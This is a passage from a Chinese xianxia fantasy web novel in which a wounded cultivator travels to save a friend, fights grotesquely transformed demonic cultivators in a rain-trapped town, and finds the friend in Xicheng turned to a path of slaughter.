他把戒指套在我的手指上,头也没抬,淡声道:“你丹田的青焰不是摆设,能用。只是用多了身体承受不住,拿东西是无碍的。”
我才想起安安分分在我丹田待着的火焰,道:“您不告诉我,我当然不知道。”
15. 你想死在这吗
李晏京收回手:“是我疏忽。”
我翻着手看储物戒,尝试引出一点腹内的青焰,本有所期待,但那团火焰毫无反应。
“师祖。”我不知怎么办,有些发怔。
更让我警醒的是,我好像开始觉得李晏京无所不能。
当我无法引动幽冥火时,我心里没有怀疑他,只有四个字——怎么可能。
这一瞬后,我一度对李晏京起了杀心。
我的字典里不应有“重蹈覆辙”。
李晏京闭目,盘腿坐于矮桌之后,不说话时如同一尊神像,他迟钝地应声:“嗯?”
见我看他,好似才反应过来,熟悉的灵力绕过我的手腕,活物一样牵起我的手,另一部分转头去往腹部。
丹田处一烫,我“看”见幽冥火膨胀开,传来的不适使我腰腹微蜷,整个人佝下去些许,又寒又热。
“莫要走神,”李晏京坐在对面,明明没动,但他的灵力早已抱住我,“仔细感受我是如何引出这青焰的。”
我压下微颤的声音,抬起头,说出心里话,语气不善:“它臣服于你,却不听我的,和你的那个剑、鸟一样。”
李晏京的头稍侧,没有动容,“不要小瞧你自己,郁负雪。感受它、容纳它,现在它和你是一体的,但你才是主导者。”
黑暗中,青焰只在原地照亮一小块儿地方,我勾着腰,随着李晏京的灵力牵引,若有所感地跟随感悟。
“看”见以幽冥火为中心,逐渐延伸出许多深绿发亮的根,李晏京的灵力隐到暗处,仍与我的精神缠绕,但将更多的操纵交于我。
幽冥火如一株树苗,被李晏京引出根系,我又去拔高它。
它从我的丹田开始,顺着破损的灵脉攀附,自带寒意,将周围的黑照出昏暗光晕。
心念微动,那柄剑就被收入储物戒中。
李晏京的灵力散去,重新闭眼。
“出宗吧,陈青芜在溪城,即将入魔。要救他,需日夜兼程。”
我立刻回过神站起身,额头还有些许薄汗。
由于起来太快,眼前模糊一瞬,又变得清晰,没等我说话,李晏京的手轻轻一挥,我就被一阵风送到殿外。
待我站定,冷风吹过额头激起冷意,我才带着满心疑惑擦去薄汗,分析他刚刚的态度,往外走几步,转头看向殿门。
李晏京今天很奇怪。
从他那天的表现来看,他是不想我离开玄清宗的,又或者说,是不想我离开他后出事。
现在却有一种迫不及待赶我走的感觉。
这时,我眼神微动:“嗯?”
殿后飞速闪过一道流光,但我还是看见了,除去李晏京,没有人会在无名峰上如此行事,我并非惊于他的离开。
我惊讶的是,李晏京他遁入了那后处隐藏的高阁之中!他轻描淡写提过的建筑!
那座晶莹高阁中有什么。
断裂的仙路?还是满阁的宝贝?又或者,是李晏京的又一大弱点?
我垂眸敛去思绪,转身继续前行。
总有一天我会知道李晏京的全部。
出宗后目标明确,直奔位于玄清宗东北方向的溪城,我租下一匹快马,在它能接受的范围内策马启程。
往年出去做任务时,我储物袋里的东西都是通过贡献点或者自己的本事收集的,长垣仙君从来没有过问,也没有给过我什么,除了原来的那柄剑。
我曾以为那是对我放心,对我的一种历练,毕竟修士不能光靠外物修行,自身的锻炼才是最重要的。
但现在看,或许仅仅是不在意。
李晏京在储物戒里给我准备了许多东西,大致翻看,各种款式的防护法衣……他何时丈量我身躯各个尺寸的?凡间通用的银子和金珠子,各种灵宝法器、符箓,还有些书籍。
书籍我草草翻过,是一些目前对我来说比较温和的聚气方法,有稳固灵脉的作用。
至于灵石,则是堆成一座山,在储物戒空间的角落里发亮。
我不用再划破自己的手,以鲜血书写冗长口诀来催动简单法阵,可以用成堆灵石,佐以青焰的些许力量绘出。
只是成功概率仍是未解的难题。
路上偶尔停下买吃食时,总觉得凡间多出几分匆忙,各地都不太平,修真界的千机寺被屠事件也已被传出数里。
“你哈听讲那个和尚庙没得了的事啊。”
“啪!”另一人激动的一拍桌子,“你也晓得哈!我正打算跟你讲嘞,老可怕的咯!”
隔壁桌的人扭过头,在两人脸上扫一眼:“你们都不知道吧!那是本寺的人干的!是个年轻弟子,狼心狗肺!千机寺好心收他入寺学习,他却屠了人家!”
先前拍桌子的哎哟一声,捂住心脏,口音更明显,“憋讲了噻!年轻人才狠嘞!吓死俺的咯!俺儿子也是,讲离家就离家!小年轻都是没心肝儿的东西!”
“现在的年轻人都怎么想的!我家也是……头疼的很!”
摊主包好冒热气的包子。
“欸!客官,来,您的两个肉包子拿好咯!新鲜热乎的还烫手!”
我收回视线,接过滚烫的油纸包,掰下碎银子给他——李晏京没有给我准备铜板。
“客官!多了!找不开啊!”
我摆手,“不用找了。”
牵着马走出禁骑区,我重新翻身而上,坐稳后轻抖缰绳,马蹄便踏风而跑,甩开身后暖和的集市。
沿途并非没有修士,如王卿尘所言,陈青芜的举动令正道震惊后大怒,越是靠近各门派范围的城镇,他的追杀令就越多。
我压低笠沿,扯去在榜上张贴的陈青芜的画像,淋着雨回到客栈内。
这客栈就住着盛阳派的弟子。
他们集体都有种风风火火的脾性,坐着没一会儿就如同板凳烧着了一样,又站起身踱步,看着外面的瓢泼大雨,眉宇间都是急躁。
他们中唯有一男子身着红白相间的道袍,神态自若地喝着茶,显得格格不入。
“大师兄!能别磨叽了吗?前面就是溪城,咱在这芙气镇逗留什么啊!”
“就是啊,大师兄,一点小雨而已,咱身为修仙之人还怕这个吗!一
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个避雨诀不就行了?”
我坐在靠窗的桌椅边,搁下茶杯,望向外面下得已经看不清远距离东西的“小雨”。
盛阳派的人可真有意思。
那位慢性子的大师兄说:“不急,不急……等雨停了再说。”
“听说人就在溪城!这都要到魔修的地盘去了!你说这陈青芜存的什么心!”
“再晚些,我们什么也捞不着,还拿什么去和别派争前十宗派名额。”
那位男子嘬了一口茶:“都说了,不急,是我们的逃不了,不是我们的拿不起。”
我听罢,顺着楼梯上去,摘下斗笠和发簪,用布巾搓着发尾。
雨越下越猛,打在屋顶的声音有如小钟。
我站在窗边擦头发,接着重新用簪子挽起,白发惹眼,我要么用储物戒里的符箓,要么是戴着斗笠遮掩。
“嗯?雨中有什么东西。”
我的手中出现那柄嵌着暗月的剑,此剑也颇具灵性,但看着不是李晏京会拥有的东西。
这剑太过寡淡,看起来平平无奇,实则暗藏锋芒,只是没有克己剑那种出鞘即夺目的气势,它内敛许多。
我眯起眼盯着窗外,鼻间都是泥土草湿味,雨瀑带着水汽,模糊人的视线,其间疑似有黑影闪过,我辨不分明。
天色渐暗,很容易让人以为是错觉。
但这里接近溪城,接近魔修的地盘,若有魔物,也并不奇怪。
本想等雨停后就去隔壁的溪城寻陈青芜,日夜兼程我已做到,谁曾想只是躲个雨,就被困在了这个小地方。
我皱起眉,摸了摸左侧耳朵挂着的耳坠,这是听音法器,就在刚刚,倾盆大雨中传来清晰的一声尖叫。
芙气镇的“福气”到头了。
夜晚,掌柜的和小二早已歇下,他们这群人先是受最近的溪城庇护,再是交些东西给正魔两边,求一个安宁日子,平日里苦的很,却也还算过得去。
我放轻脚步,隐在二楼,看着下面的盛阳派弟子,他们的大师兄或许早就察觉到这诡异大雨的不对,发现已经走不了的现实,才告诉他们不急。
年轻弟子缺乏警觉性,又急于为门派做贡献,一时失去观察力,光顾着毛毛躁躁。但没有那个男人的命令,无一人跑出去。
“喂,关门。”
想了想,我看着大开的客栈门,从阴影中走出,双手搭在栏杆上,低头和那男人对视,发现他果然在等我。
男子的眼中带着点笑,“道友肯露面了,徐某甚是开心啊。”
他身边的师弟师妹们立刻围成一个圈,停下喋喋不休的商讨,一致站到男子身边,有的已经拔剑对着我。
“剑收起来,大家都是同道中人,拔剑相向像什么话嘛。”男子本身说话就有些慢,起身拱手,“在下盛阳派徐昭,不知道友哪门哪派,姓甚名谁啊。”
他不认识我也正常,盛阳派太小,见玄清宗的各峰大弟子还不够格,我见过他,名字是刚知道。
我未回答,左手捏紧剑柄,视线看向门口的黑暗,“关门,你想大家都死在这儿吗?”
16. 非人的魔修们
徐昭神情微敛,身后的师弟看样子想骂我,被他抬手制止,他偏过头道:“那就按这位道友的要求,关门吧。”
那弟子不甘不愿地瞪我一眼,我在他眼里是故弄玄虚的弱者,岁数不大,周身也没有玄奥灵力波动,哪配称什么道友?
“师兄!你脾气这么好可怎么办!什么阿猫阿狗都能使唤你了。”
那人丢下这么一句话,从圈中去关门。
我搭在栏杆上的双手交叠,自然垂着,居高临下地看他们,不带什么表情。
“徐昭,你该管管他们的嘴,岁数都不小了,还当自己是孩子?”
话语锋利,正处于轻狂时期的年轻人们被刺到,有些压不住火气。
“你!放肆!”
“要你一个外人管!”
徐昭背对着他们,但我看得却是很清楚,他们口中好脾气的人眉头紧锁,眼底是难以掩饰的不耐烦。
他抬手下压,师弟师妹们顿时噤声。
桌面烛光轻晃,徐昭表情很快收敛,他沉声道:“道友也是来取陈青芜这个叛徒脑袋的吧,大家都是同路人,何必这么针锋相对呢?不如报上名来,我们一起合作。”
耳坠轻晃,手掌拍打潮湿泥水地的声音从远处传来,那靠近的东西没有呼吸。
“哦?什么同路人?我和你有关系吗?”我侧过头,听着客栈外的东西目标明确,往这边跑,不由得皱眉,“话不能乱说,陈青芜我是要保的。”
徐昭眼神微变,他身后的弟子更明显,全都拔出剑,表情严肃。
不一样的是,那群弟子针对的是我,而徐昭拿起剑站起来,却是对着外面的东西。
他声音懒散,单手扶着脖子,左右都掰了掰脑袋,咔咔作响,“还好现在被困,不然免不了要和道友刀剑相向了。本人不爱打打杀杀。”
徐昭拔出剑,烛火反射,剑光在我眼前闪了一瞬。我偏头稍避,不做评价,在二楼都能闻到浸入那把剑的血腥气。
徐昭岁数估摸着不大,杀性却着实不小。
“被困?不是下大雨吗,师兄?”
他用剑身宽面抽了一下那呆头呆脑的弟子的屁股,“雨个大头鬼,我看你脑子里满满都是雨,把你智商都稀释了。”
我在二楼注视着他们的互动,师弟师妹们是不是更喜欢能和他们一起打打闹闹,有来有回的大师兄?
“可知外面是什么东西?”
徐昭摆头,“不知,雨下得突然,愈下愈大,神识探不出我才知道,哦,道祖在上,我们可能要完了。”
耳坠是顶级法器,当然比徐昭的耳朵好使,我竖起食指放在嘴边,“嘘,来了。”
小弟子们均放轻呼吸,徐昭果断抬手,气劲扫过,烛火尽灭,大堂内陷入黑暗。
我握紧手中的剑,站直身体,闭上眼侧耳听去,耳坠捕捉周遭的一切声音,它半替代神识,荡出无形的波。
来物在我脑中被勾勒而出。
芙气镇地处偏僻,靠近魔修肆虐之地,也靠近一些正道的小门小派,等于夹在中央地带,客栈里一楼站着盛阳派的弟子们。
掌柜的和店小二在栈后的小屋里熟睡,二楼唯有我倚靠在栏杆上。
一楼右侧的窗外,一个类人形的生物手脚并用地奔跑,头上长着很长的“角”。
随着它的靠近,耳坠在我脑中勾勒而出的线条更加鲜明。
黑暗中客栈外,它踩过积水,手拍打在地上助力奔跑,像娃娃一样的大头,嘴张着,咧到耳根,牙齿锋利,有没有舌头还不清楚。
眼眶里延伸出超过两指长的粗条,向上长过头骨,远看才像一对“角”。
那长角的顶端有五根延伸物,大小如同婴儿张开的手掌,两个角顶端的“掌心”中央各有一个鼓起的圆球,圆球中间横着一条线。
我睁开眼,眼睛已经适应黑暗。
徐昭的气音响起:“都别出声,它在窗外。”
轻微的撞击声从窗户传来,小弟子被吓到了,布料发出窸窸窣窣的摩擦声。
那物正扒在窗户缝里嗅着人气,撞击声就是它扑过来的声音。
徐昭凝神传音:“道友,我灵力运转滞涩,不知你如何,外头的魔物可有办法应对?”
想让我身先士卒。
原来那东西是魔物。
我顺着栏杆边往楼梯口走,他们能等,我却是等不得,陈青芜已经近在咫尺,我被困在此地几日,再去溪城,他是否安在都是问题。
“你做什么!”徐昭的声音带着急切,“道友!对面数量众多,我们需从长计议。”
小弟子们呼吸都不顺畅了。
我踩着楼梯,翻找储物戒中的东西。
落下一步,木板就咯吱一响,年久失修,偏远的小镇子就是这样。
徐昭说灵力滞涩,我却不觉得,上古火焰足够霸道,外面那雨和魔,根本侵染不了它。
将要走到一楼,我丢出手中的剑,剑身裹着幽冥火的寒意,窗户从内向外被震起,那魔物未来得及反应,被掀飞出去,暗月剑刚巧钉在那魔的心口。
我疾跑几步,翻窗而出,身后的窗户又重新落下,关得严实。
我淋着雨,走到正在挣动四肢的魔物身边,如耳坠听出来的一样,它的眼眶里不是眼珠,藕节似的小臂被黑线缝在一起,那就是延伸而出的长物。
顶端也的确是手掌,掌心中央是眼珠,原本双眼紧闭,如今因疼痛睁开双眼,是浑浊的灰瞳。
见我靠近,它笑得开心,尖利的牙上有残留的血,声带颤鸣,叫声古怪至极,“啊,啊。”
它四肢扒在地上,想做桥式撑起身体,每动一下,伤口就喷出浓黑的血。
我一脚踩在它的胸口,将它重新压下去。
“魔修?怎么变成这副模样。”
它的身上还穿着破破烂烂的衣服,我见过,是魔修的常见穿着,正道一般没人会自讨晦气,和他们选一样的衣服款式。
我没有挪开腿,衣服上的阵法挡下魔修的爪子,他的声带变了调,发出“呜啦”的声音,他叫过之后,远处接连冒出许多和之前相似的动静。
“啧,麻烦。”
我回过神,果断拔剑横削,暗月剑削铁如泥,颈椎更是像纸一样被划开。
声音戛然而止,衣摆溅上大滩鲜血
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。
我祭出晟洪钟,青铜扁钟散发光晕,从储物戒中飞到我的头顶,万邪不侵。
“好戏看够了?”我敲了两下窗户,“徐昭,三声之后,不出来我就会离开,你或许可以勉力逃生,你的师弟师妹们呢?”
窗户应声而开,露出徐昭那懒洋洋的脸,他上下打量了一番我,在看见我头上悬浮的小钟时眼神闪烁。
他的手上仍持着剑,对我拱手笑道:“道友,高手啊,那一连招帅得天怒人怨,徐某敬佩、敬佩。”
我似笑非笑地看去,“不爱听这套。”
徐昭便放下手,静静感受四面八方传来的隐约叫声,“道友,它们是你引来的,你得负责吧?如你所说,但我这群师弟师妹们没有什么本事,我总得回盛阳派,如果丢了他们,我不好交代啊。”
我指着地上无头的人,看着想不出力的徐昭,纠正他:“他引来的。”
被我一噎,他失笑:“好,徐某失言。道友想要什么,不妨也直说,”他的手指轻点窗框,“毕竟这位魔兄的家人们就要来了。”
我知道徐昭在他们之中颇有说话的分量,于是简单道:“出去后,放弃前往溪城。”
徐昭爽快道:“行。”
我手指轻挥,头上悬浮的晟洪钟便飘入客栈内,朝起一片光亮。
“叫他们不要走出光的范围,无论听到什么都不能应声,”想到什么,我补充道,“哪怕是听到你我即将死在门外。”
徐昭什么都没问,照着我的话扭头吩咐了一遍,得到稀稀拉拉的应好声。
我这才让开身,徐昭也跟着翻出来。
“他们很听你的话。”
他落地,雨水打在他的脸上,徐昭轻飘飘道:“当然,他们知道不听我话的后果有多严重——我不会再要他们。”
我没再说话,和他同时跑出,顺着街道肆意奔跑,还动手弄出更大的响动。
耳坠中,那些变了模样的魔修听见声音,大部分转移了方向。倾盆大雨的声音对他们来说好像不存在。
四周的街道安静无比,只有少数清浅的呼吸声传来,小镇存活人数不过五十。
“这群人是魔修不错吧?”徐昭奔跑着,领先我一大截。
我皱眉,强压下乱了的呼吸,从储物戒中拿出丹药,一股脑的倒在嘴里,反正灵脉已经足够破损,也不用担心爆体而亡。
丹药化作温和的力量,支撑我继续前进。
“是。”我思索着,从旁边的巷道忽然闯出一个魔修,和先前那人一样,嘴巴张到最大朝我咬来,“看样子是人为的。”
我转动手腕,双手持着剑柄,斜着向上,从他的嘴巴里穿过,剑尖在脑后冒出个头。
“他们人数不少,我猜是某种献祭。”
徐昭前方也多出几人,屋檐上也有,瓦片被他们踩碎,纷纷掉落在地。
我抽出剑,和徐昭背对背站着。
他轻轻调整呼吸,笑道:“献祭?或许吧。我们怎么就不小心被包围了,而且,话说你怎么跑这么慢。”
我冷着脸,扫视过魔修们的数目。
“你看样子不行,在逞强?”
17. 一道念想而已
徐昭笑了,眼底露出暗藏的暴虐,他提着那柄煞气十足的剑就冲出去,雨水浸湿他的衣服,压制他的灵力,但徐昭却更加兴奋。
他本就是山野间屠户的儿子,天生就是一把凶狠的刀。
但拜入盛阳派后,成为大师兄,多出一群需要他照顾的师弟师妹们,才让他收敛脾性,开始走修身养性的路子,甚至选择成为剑修,而不是用刀的刀修。
因此,这柄剑才会被他养得这般极具煞气。
我凌空翻身,越过扑来的魔修,暗月剑旋转着顺其脖子划开。
檐上的魔修直接狞笑一声,踏碎数片瓦砾,我抬剑抵挡。
剑与利爪相抗,我被震飞出去,掀翻街边空摊子,去势不减,后背撞在建筑的墙上,破开一个大洞,砖瓦即碎,纷纷砸落下来。
我靠坐在废墟中,闭眼仰头,偏头闷咳出几滩血,鲜红血迹顷刻被雨水冲刷。
好弱,我居然有一天能这么弱,一击就飞出去,五脏六腑也跟着翻江倒海,难怪李晏京不赞同我来。
我低笑一声,不太想相信。
徐昭飞速瞟一眼,大喊道:“喂!道友!没事吧!要不要帮忙!”
他下腰躲过魔修头上开始活动的角,魔修手掌心的眼珠全都睁开,四下转动,黑线相缝的胳膊扭动着寻找活人,最终,大部分目光定格在吵吵嚷嚷的徐昭身上。
徐昭喘了口气,扶着腰起身,嘴角抽抽,这一幕污染极了,他喃喃:“道祖啊,可别告诉我咱镇子就我们几个修仙的在这儿。”
这厢,魔修们也睁眼,笑得像枭啼,呕哑嘲哳,听得我胃疼,再也坐不住。
“啊……”我半是叹息,将右手的剑换成左手持握,双臂搭在堆起的废墟上,重新低头看着围过来的魔修们。
心念微动,右手多出一叠符箓,我放松地坐在石堆中,将符箓全都掷出去。
爆破的火光比大雨还猛,魔修们被炸成碎块,血铺散开,瞬间湮灭大半。
雨在同时也下得更猛,我都快看不见三十步外的徐昭。
“有好东西早拿出来啊!”徐昭的声音断断续续传来,并且开始夹杂痛哼。
我从石堆里爬起来,直接倒完一整瓶丹药含在口中,药慢慢化开,冰凉的四肢回温些许,我才有力气飞身跃上屋顶。
一眼望不穿天际的雨幕。
我提剑立在飞檐上,做了个大胆的决定。
这些非人的魔修不会是无缘无故出现在芙气镇的,全镇下雨,挑在夜晚,要么为了献祭,要么只是单纯通过屠杀进阶,这是一些偏激的魔修渡劫前惯用的手段,他们以邪念入魔,走的也是魔修中至邪之路。
一定有阵法,一定有生门。
我闭上眼,雨水将所有建筑的轮廓都勾勒出来,甚至是地上的一粒小石子。
残余的魔修跟着我跳上来,徐昭苦苦坚持,灵力忽起忽灭,大多时候都是空滞状态。
我开始在屋顶上奔跑,蓄力跳跃于各个建筑顶端,遇到变异的魔修,就以砍断他的腿为主,然后借他的力再向前窜出一截。
我拉住飞檐一角悬挂的断绳,顺着力荡到更高处,在中途,传来的波动告诉我,西南处有一座高出神庙顶部的雕像,上半身已经长到屋顶以上,下半身仍端立于神庙内。
庙门大开,时不时有魔修跑出。
我掉头就朝那儿跑去。
好在离得不远,徐昭也不知闹出什么动静,震塌小半片区域,地面下陷,他们落入地底,后来的也一跃而入。
祈祷徐昭的道祖保佑他吧。
来到那处庙边,我喘了口气,从房顶跳下,藏身于一堆竹篓后。
我捂住嘴闷声轻咳,嗓子都在发痒,更诡异的是,靠近这座庙,腹部居然有被吸引的灼热感。
内视后没发现幽冥火有什么不对劲,我暂时没有往心里去,只打算等找到陈青芜后问李晏京。
我借着视角躲避,探出一点儿头,看那高于神庙的诡异雕像,其慈眉善目,头上雕刻石质薄纱,右手的拇指和中指捻着一根针,左手向上虚捧着空气。
“这是什么……”
从未见过的魔修异变,从未见过的诡异神像,莫非正如李晏京所说,悟尽大师一死,天下将乱,可为什么?
忽地身后贴上来一人,他同时捂住我的眼睛和嘴,“别看了,郁负雪。”
我本挽了个剑花,反手就要刺向身后的人,听到熟悉的声音,我猛然顿住,又继续刺去,甚至不管会不会戳到自己。
耳边一声似有若无的叹息,李晏京握住我的手腕,声音淡淡,“不是幻觉。”
我另一只胳膊肘直接向后捣去。
视线恢复,我回过头,鼻尖离他的唇只差一点,这次我明显看见他喉结微动,眼神暗了下来。
“这么看我做什么?”李晏京仍然平静,但眼底的情绪没遮好,让我窥见。
我想开口,碍于离变异魔修的出生地比较近,只能用眼神瞪他。
“为什么不能看?”李晏京说。
他抬眸,直视那神像,“这叫诡渡傅,人间又可以叫锁魂人,芙气镇推崇生来死去都要在一起,兄弟姐妹们请诡渡傅缝一缝,挑个主事的当眼睛,爱笑的做喉咙,善能的做身躯。”
“缝在一起,生生世世都要做一家人。”
我抽出手,转身看他,“你怎么在这。”
李晏京的眼角带了点很淡的笑意,他意味深长道:“怀疑我的真假?除非是心生的幻境,到现在还无人敢假扮我。”
我提剑就刺,“那你就是第一个!”
李晏京轻飘飘地捏住我的剑尖,表情没什么变化,但我再不能行进一寸!
“你是谁?”
李晏京掀起眼帘:“南玄,李晏京。”
“胡扯!”我也不管会不会打草惊蛇了,直接祭出一叠万剑符对准李晏京。
那人不会跟我说那么多话,真要愉悦也不会笑得这么明显,顶多眉眼舒展,带着点点笑意,稍微好说话些。
李晏京头稍歪,眼珠轻动,无形法则运转,转眼间就压下已要燃烧的符箓,当着我的面将那一叠黄符收回我的储物戒。
“准确来说,我是李晏京的欲念。”
他把我的剑推回去,视线落在我身上,接着道:“是第一次在药池见你后的,他将我分割而出,放入了你头上的簪中。所以我是他,他是我。”
欲念……什么?
我有些搞不清状况,下意识地摸头上插着的发簪,客栈摘下斗笠后,我就重新用簪子束起头发,一直还在,挺稳固的。
“先不说这些,诡渡
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傅和我不能看他有什么关系?”我定了定心神。
李晏京说:“还是不信我?”
他指着我的丹田处:“你在碧泉镇时,魔蛊顺着你的伤口钻进去了,”手指又移到心脏,“去了心脉,半连接,你若看这诡渡傅看多了,它会醒。”
我想起程月舒从我背后穿剑而过时,胡娘子背上的肉瘤花苞有鲜血顺着剑身流。
我哂笑一声:“魔蛊?你去除不了?”
李晏京垂眸:“为你重塑根骨时去过,失败了,它出来一瞬后化作飞灰,你身体里重新孕出新的魔蛊,准确来说,还是原来那只。”
渡劫期也有做不到的事。
理智上我能理解李晏京,虽然渡劫期后成功则飞升上仙,按道理来说已经十分接近仙了,但也只是接近,并非无所不能。
但情感上我不可避免的开始纠结。
“师祖,这么没用吗?”我笑得很假。
李晏京倒也没生气,他静静地看着我,“会有办法的。”
我偏过头,“那现在怎么办?我要出去,溪城就在旁边,晚一步陈青芜就会走上不归路,你答应过我的,却现在才出来,是反悔,想让我失败?”
这个什么欲念,看起来比本尊要好说话一些,因为他本身就先对我有感觉,觉得羞愧,又纵容?
李晏京道:“没有,你不受重伤,我是出不来的。”
我趁热打铁,假设他说的是真的,我也有什么魔蛊在心脉攀附着,那求人没什么丢脸的,反正我什么狼狈模样他都见过。
“那你能不能先破了此地迷阵,我每杀一个魔修,雨就愈大一分,我怕最后出不去。”
李晏京却说:“不行。”
我眉眼瞬间阴沉下去。
他不愿帮我?道貌岸然,因为我没有先救人,选择破阵出去?还是他嫌我身有魔蛊,要我自己去对上那雕像,早日入魔?
李晏京冰凉的指尖点在我的眉心,“莫要胡思乱想,郁负雪。”他指指天上,“太大动作,我会消失。”
眉心一点清凉,我回过神,学着凡间的人打闹的模样,带着款款笑意,“那就消失啊,师祖,一道念想而已,你付不起吗?”
我直视他的眼睛,像在透过他,对着万里之外的人说。
李晏京笑意淡了下去,他抿着他好看的薄唇:“这是你所期望的?”
我深呼吸,强压下躁动的心绪,猜测可能靠近诡渡傅也会受到影响,“师祖,别耽搁了,我要去找陈青芜,盛阳派的徐昭和其余弟子也在这,就当积德。”
李晏京颇为嘲弄:“积德。”
他久久地凝视着我,目光像要剥开我的心,最后停留在我的脸上。
“郁负雪,这是唯一一次,下次再为了谁求我,可是要交东西的,他……可没那么君子。”
李晏京直接踏空飞起,没见他有什么动作,天空骤然被引来弯曲的紫雷,那诡渡傅咔地一声抬头,和空中的李晏京对视,原本慈眉善目的脸从中间裂成两半。
其中间包裹着的脸邪气森森,石头质地被雷电一照,竟隐隐生出皮肤质感!
相比之下,李晏京立于空中,纹丝不动,雨幕不侵,雷电不扰。
夺目的光吞噬我的视线前,李晏京看向我,无悲无喜的眼中只圈住了一个我。
18. 故人相见相逢
雨停之后,我放下遮住眼睛的手,李晏京已经消失不见。
天空上方,金色法阵旋转,不断有雷光直射而下。我摸摸耳坠,能听见比之前更加清晰的声音。
法阵击下,各处暗吼声戛然而止,接着是呜呜咽咽的哭声漫上来。
大家都醒了。
下过雨的天空澄澈无比,浑浊之气涤荡一空,那从神庙顶探出头的诡渡傅已经消失不见,里面遍地都是粉碎的石块。
诡渡傅站立的地方空荡荡的,光从顶部的破洞照下,刚好打在那甬道的洞口。
注视几秒,我提剑刺入地底,略微施力,暗月剑一阵嗡鸣,剑气四溢,便将地底震塌,入口被土堆埋起来。
我简单用符箓封印在其表面,转过身,踩碎最后一个诡渡傅眼睛的石块,走出庙门时,身上的湿气已经烘干,我将头发重新束整齐,动身前往隔壁溪城。
远处一道金光飞来,钻入我的储物戒中——晟洪钟归位。
背后的神庙墙壁受法器余威波及,从墙根蔓延出裂纹,再也支撑不住,几声轻响后,这个缝着芙气镇几代人的诡渡傅彻底被埋葬于废墟之下。
溪城离芙气镇很近,这里都出现如此异象,想必陈青芜那儿更是棘手。
来到溪城,城门紧闭,我甩出钩爪,顺着外墙轻松上墙,落下时却愣住,和一位瑟缩的老乞丐面面相觑。
他瞪着双眼,见到我没有大喊大叫,反而哧哧地笑,怪模怪样的,“嘿嘿!又一个!多来点,多来点,全都活不了!”
我心里一咯噔,趴在城墙上往内看,到处都是血,遍地都是人,他们身上还有极细的黑红的气往远处流动。
城门口前的亡者堆成小山,堵住出口。
四周是燃烧的玄色暗火,房屋垮塌,树木被烧成黑黢黢的枯木,连鸟雀都卧于台上,再无气息。
生灵涂炭不外如是。
那陈青芜在哪儿?
仔细听去,更多的是燃烧树木的炸裂声,溪城地大,不如在芙气镇时,能听到方圆大半声音。
溪城,芙气镇均已变天,李晏京是不是推算出什么,知道我救不了陈青芜,所以任由我像傻子一样跑向希望!
也顾不得嫌弃老乞丐胡子上干涸的呕吐物,我蹲下身一把提起他,指着远远一点,气流汇聚的高楼,“那里是什么地方!”
老乞丐神智已经不甚清晰,提起他时,他的眼神都是飘忽的,落不到实处,嘴里还絮絮叨叨地念着“都要死了”。
他指着我,发出怪叫:“嘿嘿,你先死,我再死!我先死,你也死,咯!”
问不出什么,口臭熏人,我丢开他,老乞丐一屁股摔倒地上,又如惊弓之鸟一样抱着自己躲在墙垛下发抖。
我面色微寒,祈祷陈青芜不要入魔,更不要是下方死者的一员。
从城楼跃下,差点被浓稠的血迹滑倒,我稳住身躯后朝气流聚集处跑去。
周围的人大多模样凄惨,伤口却干净利落,多是心脏处一击毙命。
溪城比芙气镇还要安静,已经听不见有人哭泣的声音。
靠近那座楼,我才听到刀剑相接的碰撞声。
与此同时,当我打算先躲到一边观察时,无意间抬头,却看见了那单脚立在楼顶尖锥上的陈青芜。
没死!但……四面八方的黑红混杂之气,钻入的是陈青芜的身体!
陈青芜此时神情冷峻,单手背在身后,四周的气被他吸收,正用看蝼蚁的眼神望着下方的人们。
我想上前,猛地刹住脚步,顺着他视线看去,不远处楼前的大片空地上,不同门派的弟子们表情惊惧,正咬牙相对。
一人腰侧已经被划开个大口,但他不逃、不避、不饶,嘴唇毫无血色,却仍在争斗。
我倏地抬头大喊:“陈青芜!”
正三两打斗的几人和天上静立的陈青芜均看向我,目光各不相同,那群弟子的眼神是麻木与幸灾乐祸,看样子也认为我是“又一个”。
陈青芜落在我身上的视线微顿,又淡笑着移开,看向停下动作的弟子们。
“我说可以停了?还是说,你们连唯一一个出去的机会都不想要了。”
话毕,那群弟子颤抖着大喊。
“没有!我们继续!我们继续!”
“别杀我们!师弟!你去死吧!我回了门派!定会好好祭奠你!”
“不,不!我要活着!你们谁也不能和我抢那名额!出城的机会是我的!”
原本有些疲累的他们,神经再次被陈青芜触动,瞬间绷紧,什么同门道义、大爱牺牲,通通消失不见!
唯一的出城机会!唯一的!
我呼吸微滞,有些无法理解这一幕。
苦战未能拿下任何人的小弟子再次被轰飞,跌倒时看见我,他狰狞一笑,不再同对面的人纠缠,爬起来就朝我嘶吼着,连挥数十道剑气。
暗月剑横立眼前,我只用左手挥出三道剑气,那低阶剑凝出的剑气便被驱散,最后一道划过那弟子的手,我断了他的胳膊。
等再抬起头,陈青芜却已不在原地,我欲转动视线寻找,身后却忽然多出呼吸声,还有浓重得似魔修的血腥气。
被我削去臂膀的小弟子重新跌倒在地,发出痛苦的嚎叫,在看向我身后时,睁大眼睛瞳孔剧颤,连忙蹬着腿,大叫着往后挪。
“负雪,你怎么来了。”
陈青芜的声音没什么起伏,好像还是那个随心所欲的人,正为寻道四处游历,我们只是偶然遇见。
如果不是场景不对。
“陈兄,你这……”
我转身,看着他一袭青衣,衣摆被血浸饱,红青相间,邪性异常。
陈青芜歪了歪脑袋,将身后背着的手放下,我才看见他一直负手抓着剑。
他双臂稍张,对我笑得明媚:“这个啊,恭喜我吧,负雪,我寻到我的道了。”
我直视他的双眼,瞧见其眼底暗红的光芒,双手背在身后,手指搭在储物戒上。
我淡笑着对陈青芜道:“恭喜,陈兄这是什么道?恕我眼拙,没太明白。”
陈青芜又反手持剑负于身后,另一只手端着,拇指曲起,空拨动几下,又十分僵硬地停下来,他面上仍是笑着:“杀戮道啊,看不出来吗?”
我诚实地说:“我只担心你有危险。”
陈青芜的眼珠在眼眶中转动两圈后,直愣愣地盯着我,他忽然反弓着腰对天哈哈大笑。
他的声音本是清朗又温和的。
如今尽是诡谲感。
陈青芜本是随心随性的,比孟竹臣更多一份静,比和尚多一份洒脱不羁。
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现在也全都不见。
他笑罢,脑袋瞬间回正,黑发顺着肩头滑到身前,陈青芜脸上的笑意未减,眉头拧成八字,眼睛落下清泪。
“小负雪,你真不该来的。”
同时,我的心脉一痛,表情骤变,单手捂住胸口,另一只手仍勾出储物戒中的晟洪钟,直接对着陈青芜罩下去。
他就堆挤肌肉,保持笑容,双眸猩红地望着我,那微张的口轻动。
陈青芜在说:“杀了我。”
